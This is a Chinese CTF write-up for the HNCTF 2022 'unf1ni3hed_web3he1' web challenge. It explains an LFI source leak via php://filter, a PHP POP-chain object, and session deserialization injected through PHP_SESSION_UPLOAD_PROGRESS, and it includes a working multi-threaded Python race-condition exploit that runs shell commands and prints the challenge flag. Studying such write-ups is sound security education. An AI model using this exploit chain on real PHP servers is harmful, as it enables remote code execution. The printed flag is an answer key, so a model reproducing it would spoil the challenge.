[HNCTF 2022 WEEK4]unf1ni3hed_web3he1 LFI + Session反序列化 + 条件竞争
- 1[WUSTCTF 2020]
- 2[HNCTF 2022 WEEK4]unf1ni3hed_web3he1 LFI + Session反序列化 + 条件竞争本文
- 3[安洵杯 2019]CSS Game CSS注入
- 4[NISACTF 2022]checkin Unicode 双向控制字符(Bidi)混淆
- 5[SWPUCTF 2025 秋季新生赛]FIRST MEETING PHP 反序列化 POP 链
- 6[UUCTF 2022 新生赛]funmd5 0e 碰撞与时间戳预测
本题在线靶场
https://www.nssctf.cn/problem/3098
考点:LFI + php://filter 伪协议读源码 + PHP 反序列化 POP 链 + Session 反序列化 + 条件竞争绕过 cleanup 难度:中等偏上(主要是 session 那部分不太好理解)
0. 一句话速览
include_ LFI 泄源码 -> 发现 POP 链 + session.serialize_handler=php -> 用上传进度的可控 key 注入 | 和序列化对象 -> 条件竞争绕过 cleanup=On -> session_start() 反序列化触发 __destruct -> eval 执行命令 -> 读 /secret/flag1. 信息收集
访问根目录:
GET / HTTP/1.1
HTTP/1.1 200 OKServer: Apache/2.4.38 (Debian)
webshell 就在这里哦,传个cmd参数试试吧<br>页面诱导你传 cmd 参数,但真传了会怎样?
GET /?cmd=1 HTTP/1.1
HTTP/1.1 302 FoundLocation: https://www.bilibili.com/video/BV1GJ411x7h7?wy_n0t_Catch_me直接把你拐去 B 站(BV1GJ411x7h7),纯钓鱼。所以 cmd 参数是假的。
目录扫描后,web 根目录下的文件有:
| 文件 | 作用 |
|---|---|
index.php | 钓鱼首页,cmd 参数是幌子 |
t00llll.php | 题目给的”工具”页,include_ 参数存在文件包含漏洞 |
Rea1web3he11.php | 真 webshell,里面有反序列化利用链 |
flag.php | 假 flag,内容是 B 站 iframe |
2. 第一层:LFI 用伪协议读源码
2.1 工具页源码
访问 t00llll.php 不带参数,它会 show_source(__FILE__) 把自己贴出来:
<?phperror_reporting(0);
if (!isset($_GET['include_'])) { echo "使用工具的时候,要轻一点哦~"; show_source(__FILE__);}else{ $include_ = $_GET['include_'];}if (preg_match('/sess|tmp/i', $include_)) { die("可恶涅,同样的方法怎么可能骗到本小姐两次!");}else if (preg_match('/sess|tmp|index|\~|\@|flag|g|\%|\^|\&|data|log/i', $include_)) { die("呜呜呜,不可以包含这些奇奇怪怪的东西欸!!");}else @include($include_);?>$_GET['include_'] 被直接送进 include(),这就是最经典的本地文件包含(LFI)。
2.2 为什么必须用 php://filter
如果直接:
?include_=Rea1web3he11.phpPHP 会把这个 .php 当代码执行,源码根本不会打印出来。所以要套一层 PHP 内置的过滤流:
?include_=php://filter/read=convert.base64-encode/resource=Rea1web3he11.php拆开看:
php://filter—— 过滤流包装器,可以给目标文件套”滤镜”read=convert.base64-encode—— 读的时候先做一次 Base64 编码resource=...—— 真正要读的文件
加 Base64 之后,include 拿到的内容是一串 Base64 文本,不以 <?php 开头、不是合法 PHP 代码,PHP 就不执行它,只原样输出,源码就漏出来了。
2.3 过滤规则分析
被拦的关键字:
sess tmp index ~ @ flag g % ^ & data log它们分别堵死了:
sess/tmp—— 不能包含/tmp/sess_xxx(session 文件)index—— 不能包含index.phpflag/g—— 不能直接读 flag 文件(g同时堵住log、png、jpg、Big5等)data—— 不能用data://伪协议log—— 不能用日志包含(access.log 等)~ @ % ^ &—— 各种常见的绕过字符
也就是说:只能老老实实读源码,不能直接包含 session 文件,也不能日志投毒。
2.4 解码拿源码
访问:
http://node4.anna.nssctf.cn:27400/t00llll.php?include_=php://filter/read=convert.base64-encode/resource=Rea1web3he11.php得到一大串 Base64,本地解码(PowerShell):
$b = (Invoke-WebRequest "http://node4.anna.nssctf.cn:27400/t00llll.php?include_=php://filter/read=convert.base64-encode/resource=Rea1web3he11.php").Content[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))得到真 webshell 源码:
<?phperror_reporting(0);ini_set('session.serialize_handler', 'php');session_start();echo "y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!"."<br>";
class webshell{ public $caution; public $execution;
function __construct(){ $this -> caution = new caution(); } function __destruct(){ $this -> caution -> world_execute(); // 反序列化利用点 } function exec(){ @eval($execution); }}class caution{ function world_execute(){ echo "Webshell...ERROR..."."<br>"; }}class execution{ public $cmd; function __construct(){ $this -> cmd = 'echo "即将执行命令:".$cmd;'; } function world_execute(){ eval($this -> cmd); // 任意代码执行 }}?>单独访问 Rea1web3he11.php:
y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!<br>“你可能需要一些工具才能用它” —— 它自己没入口,需要靠 session 反序列化把它”喂”起来。
3. 源码分析:POP 链怎么拼
先完全忽略 session,只看对象。
3.1 类的结构
execution 类
class execution{ public $cmd; function world_execute(){ eval($this -> cmd); }}只要我们能造出 execution 对象,并把它的 $cmd 设成任意字符串,就等于任意代码执行。
webshell 类
class webshell{ public $caution; function __destruct(){ $this -> caution -> world_execute(); }}__destruct() 是对象被销毁时自动调用的魔术方法。它内部调用 $this->caution 的 world_execute()。
$this->caution 是什么类型,完全由我们(反序列化数据)决定。
3.2 利用链
把 webshell 的 caution 属性换成一个 execution 对象:
webshell::__destruct() -> $this->caution(=execution 对象)->world_execute() -> eval($this->cmd) -> 任意命令执行webshell 里的 $execution 属性和 exec() 方法是烟雾弹,不用管。
3.3 构造序列化 payload
PHP 序列化格式速记:
O:8:"webshell":2:{...}—— 对象,类名 8 字节,2 个属性s:7:"caution";...—— 字符串,名字 7 字节N;—— null
最终 payload:
O:8:"webshell":2:{s:7:"caution";O:9:"execution":1:{s:3:"cmd";s:15:"system("ls /");";}s:9:"execution";N;}小白最容易踩的坑:长度必须精确。 属性个数、类名长度、字符串字节数,错一个字节 unserialize() 就直接失败(而且 error_reporting(0),你连报错都看不到)。
最稳的办法:用本地 PHP 生成(本地是 PHP 7.3,和靶机一致):
<?phpclass webshell{ public $caution; public $execution; }class execution{ public $cmd; }
$b = new execution();$b -> cmd = 'system("cat /secret/flag");';
$a = new webshell();$a -> caution = $b;
echo '|'.serialize($a);
4. 重点科普:session 到底是什么
这一部分是整道题的核心,慢慢讲。
4.1 session 的生命周期
HTTP 是无状态的,服务器记不住”你”是谁。session 就是服务器给你发的一张”会员卡”:
- 第一次请求,PHP 调
session_start(),生成一个随机 ID(PHPSESSID=abc123),通过Set-Cookie发给浏览器; - 服务器在磁盘上建一个文件,Debian 下通常是
/var/lib/php/sessions/sess_abc123; - 之后每次请求浏览器都带上这个 Cookie,PHP 用 ID 找到对应文件;
session_start()做的事就是:读出文件内容 -> 反序列化 -> 还原成$_SESSION数组;- 脚本结束(或
session_write_close())时,把$_SESSION数组序列化后写回文件。
关键就在第 4 步:读 session 文件的过程,本质上就是一次 unserialize()。
如果 session 文件里被塞进了恶意序列化字符串,session_start() 一执行,就会在我们自己的服务器上”还原”出攻击者构造好的对象 —— 这就是 session 反序列化。
4.2 两种序列化引擎:php 与 php_serialize
PHP 把 $_SESSION 存进文件有两种格式,由 session.serialize_handler 决定。
格式一:php(本题 Rea1web3he11.php 强制使用)
键名|序列化后的值例如:
username|s:5:"admin";role|s:5:"guest";读的时候逻辑是:先找第一个 |,左边当键名,右边交给 unserialize()。
格式二:php_serialize(PHP 5.5.4+ 的默认值)
整个 $_SESSION 数组当整体序列化:
a:1:{s:8:"username";s:5:"admin";}两者的核心差别,就是那个 |。
php 格式靠字符串里的 | 当分隔符,而分隔符不是结构层面记录的字节 —— 这就给了我们”伪造分隔符”的空间。
4.3 反序列化触发点不需要额外 include
注意 Rea1web3he11.php 自己就调了:
ini_set('session.serialize_handler', 'php');session_start();也就是说,访问这个页面本身就会读 session 文件并反序列化,完全不需要用 LFI 去 include 任何东西。
(顺便解释为什么不用 include /tmp/sess_xxx:一是 t00llll.php 明确封了 sess 和 tmp,二是根本没必要。)
4.4 对象什么时候执行代码
unserialize() 还原对象时,PHP 不会调用 __construct()(构造参数信息在序列化时已经丢了),但对象在脚本结束被销毁时,会自动调用 __destruct()。
所以执行顺序是:
session_start() -> unserialize 出 webshell 对象脚本输出 "y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!"脚本结束 -> webshell::__destruct() -> $this->caution->world_execute() (caution 是 execution 对象) -> eval($this->cmd) -> 执行命令命令输出跟在页面后面一起返回,所以响应里能直接看到结果。
5. 怎么往 session 里写东西:PHP_SESSION_UPLOAD_PROGRESS
现在的问题变成:页面上没有 $_SESSION['x'] = $_GET['x'] 这种写入口,怎么把 payload 写进 session 文件?
答案是 PHP 的上传进度特性。
5.1 机制
session.upload_progress.enabled 默认开启。当一个请求满足:
Content-Type: multipart/form-data- 表单里有一个字段名等于
session.upload_progress.name(默认PHP_SESSION_UPLOAD_PROGRESS)
PHP 会自动帮你 session_start(),并往 $_SESSION 塞一个元素:
$_SESSION[ "upload_progress_" . <你传的字段值> ] = 进度信息数组看清楚:key 的前缀固定,后缀完全由我们控制,而且没有任何转义和校验。
5.2 | 为什么是致命一击
把字段值设成:
aaa|O:8:"webshell":2:{...}(或者像本文用的 payload 自带开头 |,字段值就是 |O:8:"webshell":2:{...})
此时内存里 $_SESSION 的键名就是 upload_progress_aaa|O:8:"webshell":2:{...}。
脚本结束时,PHP 用 php 格式写盘,格式是 键名|值,于是磁盘上的文件变成:
upload_progress_aaa|O:8:"webshell":2:{s:7:"caution";O:9:"execution":1:{s:3:"cmd";s:15:"system("ls /");";}s:9:"execution";N;}|a:5:{s:10:"start_time";i:1695...;...} ^ 从这里开始,php 格式把它当"值"去 unserialize下次带着同一个 PHPSESSID 访问 Rea1web3he11.php,session_start() 读文件,php 引擎的逻辑是:
- 找第一个
|; - 左边当键名:
upload_progress_aaa; - 右边当值,丢给
unserialize():O:8:"webshell":2:{...}|a:5:{...}; unserialize()解析完webshell对象就停了,后面多余的|a:5:{...}被直接无视。
结果:一个完全由我们控制的 webshell 对象,被凭空”还原”进了 $_SESSION。
这就是 session 反序列化里最有名的一个点:因为 php 格式用 | 做分隔符,而 | 出现在我们可控的 key 里,等于我们亲手伪造了分隔符,把后面的内容变成了”值”。
5.3 两种写法,千万不要混
写法 A(本文用的):字段值带开头 |
PHP_SESSION_UPLOAD_PROGRESS = |O:8:"webshell":2:{...}写盘后:
upload_progress_|O:8:"webshell":2:{...}|a:5:{...}^^^^^^^^^^^^^^^^^ 键名 ^^ 值从这里开始upload_progress_ 正好当键名,第一个 | 后面就是序列化对象 -> 成功。
写法 B:字段值是 aaa|O:8:...(payload 本身不带 |)
upload_progress_aaa|O:8:"webshell":2:{...}|a:5:{...}同样成立。
错误写法:两个都加,变成 aaa||O:8:...
upload_progress_aaa||O:8:...读的时候值变成 |O:8:...,unserialize() 碰到开头的 | 直接失败,对象不会被还原。
字段值 = 一段能当键名的文字 + 恰好一个
|+ 序列化字符串。
5.4 补充:写盘和读盘 handler 不一致也没关系
写 session 的请求用的是 php.ini 默认的 handler(因为 session_start() 是 PHP 在上传解析阶段自动触发的,早于脚本里的 ini_set),很可能是 php_serialize:
a:1:{s:49:"upload_progress_aaa|O:8:"webshell":2:{...}";a:5:{...}}而读的页面强制用 php handler,它找第一个 |,同样把 O:8:"webshell"... 拿去 unserialize()。
结论:只要”写”和”读”两个阶段的 handler 不一致,键名/文件名里的 | 就能完成注入。本题的 ini_set('session.serialize_handler','php') 正是这个”不一致”的来源。
6. 为什么单发一次不行:cleanup = On 与条件竞争
如果你老老实实”发一次 POST -> 再发一次 GET”,会发现完全没反应。这是第二个坑。
6.1 单次请求的时间线
session.upload_progress.cleanup 默认是 On,含义是”POST 数据读完之后,把进度信息从 session 里删掉”。所以:
| 时刻 | 发生了什么 |
|---|---|
| (1) 请求进入,开始解析 POST | 上传进度处理器自动开 session,把 `upload_progress_aaa |
| (2) 上传过程中 | PHP 会把带进度信息的 session 落盘(这正是”上传进度”功能存在的意义:让另一个请求能读到进度) |
| (3) 上传结束 | cleanup 触发,把 upload_progress_ 开头的键从 $_SESSION 删掉 |
| (4) 脚本结束 | 把已经被清空的 $_SESSION 写回文件 -> 文件里没有 payload |
我们注入的键名以 upload_progress_ 开头,所以 cleanup 会把它一起删掉。
唯一能利用的窗口只在步骤 (2):上传还在进行、payload 已经落盘、cleanup 还没发生。
6.2 竞争思路
既然窗口很短,那就反复制造窗口 + 反复抢占窗口:
- 多个线程持续 POST,并故意上传一个 1MB 的文件,把”上传中”的时间拉长,让窗口尽量大;
- 同时多个线程持续 GET
Rea1web3he11.php,每次 GET 都触发session_start()反序列化; - 只要有一次 GET 正好落在窗口里 -> 反序列化 ->
eval-> 命中。
命中后命令输出会直接出现在那个 GET 的响应里,检测到标记字符串就退出并打印结果。
小提示:上传超大文件窗口更长、更容易命中,但会占用目标带宽;1MB 左右配 4 写 4 读是比较舒服的平衡点。
7. 完整 EXP
7.1 先用本地 PHP 生成 payload
<?phpclass webshell{ public $caution; public $execution; }class execution{ public $cmd; }
$b = new execution();$b -> cmd = 'system("cat /secret/flag");';
$a = new webshell();$a -> caution = $b;
echo '|'.serialize($a);把输出的 |O:8:"webshell":... 整串复制出来。每次改命令都要重新生成一次,因为长度会变。
7.2 竞争脚本
import requests, threading, time
HOST = "http://node4.anna.nssctf.cn:27400"TARGET = HOST + "/Rea1web3he11.php" # session_start() 在这里,才是反序列化触发点SESS = "racecodex001" # 自定义 PHPSESSID,读写两端都用它
# 想执行的命令,用 X9X 当分隔标记,方便判断是否命中cmd = 'system("id; echo X9X; ls -la /; echo X9X; cat /secret/flag; echo X9X");'
# 构造 POP 链序列化字符串,%d 是 cmd 的字节长度,必须精确payload = ('O:8:"webshell":2:{' 's:7:"caution";O:9:"execution":1:{s:3:"cmd";s:%d:"%s";}' 's:9:"execution";N;}') % (len(cmd), cmd)
val = "|" + payload # 字段值:一段能当 key 的文字(这里由 upload_progress_ 提供)+ 一个 | + 序列化串
stop = threading.Event()hit = []
def writer(): """不停上传:让恶意 payload 反复落盘到 session 文件""" files = {"f": ("a.txt", b"A" * (1024 * 1024))} # 1MB,用来拉长窗口 while not stop.is_set(): try: requests.post(TARGET, data={"PHP_SESSION_UPLOAD_PROGRESS": val}, # 注入点 files=files, cookies={"PHPSESSID": SESS}, timeout=30) except Exception: pass
def reader(): """不停读取:每次 GET 都会触发一次 session_start() 反序列化""" while not stop.is_set(): try: r = requests.get(TARGET, cookies={"PHPSESSID": SESS}, timeout=30) if "X9X" in r.text: hit.append(r.text) stop.set() return except Exception: pass
threads = [threading.Thread(target=writer, daemon=True) for _ in range(4)]threads += [threading.Thread(target=reader, daemon=True) for _ in range(4)]for t in threads: t.start()
deadline = time.time() + 75while time.time() < deadline and not stop.is_set(): time.sleep(1)
stop.set()time.sleep(2)print(hit[0] if hit else "no hit")实测两三秒内就在响应里看到命令输出。
payload = ('O:8:"webshell":2:{' 's:7:"caution";O:9:"execution":1:{s:3:"cmd";s:%d:"%s";}' 's:9:"execution";N;}') % (len(cmd), cmd)这是PHP 序列化字符串,作用是在靶机上”凭空还原”出这样一个对象结构:
webshell 对象 ├─ caution = execution 对象 │ └─ cmd = 我们的 PHP 代码 └─ execution = null(没用,占位)
当 session_start() 读到它并反序列化,脚本结束时 webshell::__destruct() 触发 → 调 caution->world_execute() → eval(cmd)。这就是把”字符串”变成”命令执行”的那一步。
序列化语法的规律(记住这几条就够):
写法 含义 ━━━━━━━━━━━━━━━━━━━━━━━━━ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ O:8:“webshell”:2:{…} 对象(Object),类名 webshell 占 8 个字节,共 2 个属性 ───────────────────────── ──────────────────────────────────────────────────────── s:7:“caution”; 字符串(String),名字 caution 占 7 个字节 ───────────────────────── ──────────────────────────────────────────────────────── O:9:“execution”:1:{…} 又嵌一个对象,类名 execution 占 9 字节,1 个属性 ───────────────────────── ──────────────────────────────────────────────────────── s:3:“cmd”;s:71:”…”; 属性名 cmd 占 3 字节,值是占 71 字节的字符串 ───────────────────────── ──────────────────────────────────────────────────────── N; null
这些数字全部来自靶机源码里真实的类定义:类名长度、属性个数、属性名长度,一个字都不能改,改了就对不上。
8. 拿到 flag
第一次竞争命中的响应:

y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)X9Xtotal 84drwxr-xr-x 1 root root 4096 ... .drwxr-xr-x 1 root root 4096 ... ..-rwxr-xr-x 1 root root 0 ... .dockerenvdrwxr-xr-x 1 root root 4096 ... bin...drwxr-xr-x 2 root root 4096 ... secret <- 可疑目录...drwxrwxrwt 1 root root 4096 ... tmp...X9XX9Xtotal 32 <- web 根目录-rwxrwxrwx 1 root root 772 Rea1web3he11.php-rwxrwxrwx 1 root root 497 flag.php <- 假 flag-rwxrwxrwx 1 root root 7663 index.php-rwxrwxrwx 1 root root 502 t00llll.php看到 /secret,把命令换成读它,再跑一次竞争:
system("ls -la /secret; echo X9X; cat /secret/* 2>/dev/null; echo X9X")结果:
total 12drwxr-xr-x 2 root root 4096 ... .drwxr-xr-x 1 root root 4096 ... ..-rw-r--r-- 1 root root 45 Sep 26 10:30 flagX9XNSSCTF{bdd55422-e537-4fcd-bedf-c2073c3ba5da}环境变量里的 FLAG=not_flag 是干扰项,flag.php 也是干扰项。
9. 踩坑清单与总结
?cmd=1是假的,只会 302 到 B 站;flag.php也是假的(B 站 iframe)。- 读源码必须用
php://filter+ base64,否则 include 会执行而不是显示源码。 - 过滤封了
sess/tmp/index/g/flag/data/log:不能include /tmp/sess_xxx,不能用data://、日志包含,只能走Rea1web3he11.php自身的session_start()。 - payload 长度必须精确:
O:后的类名长度和属性个数、s:后的字符串字节数,错一个字节全盘失败,而且error_reporting(0)看不到报错。建议本地serialize()生成。 cleanup = On是第二个坑:单发一次 100% 不成功,必须多线程条件竞争;上传 1MB 文件能显著拉长可利用窗口。- 字段值里
|的位置要讲究:要么自带开头|,要么用aaa|前缀,绝对不能两个都加。 - 核心记忆点:
php格式的 session 用|分隔”键名”和”值”,而PHP_SESSION_UPLOAD_PROGRESS让键名的后半段完全可控 -> 可控的|= 可控的unserialize()输入 = 反序列化漏洞。
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!














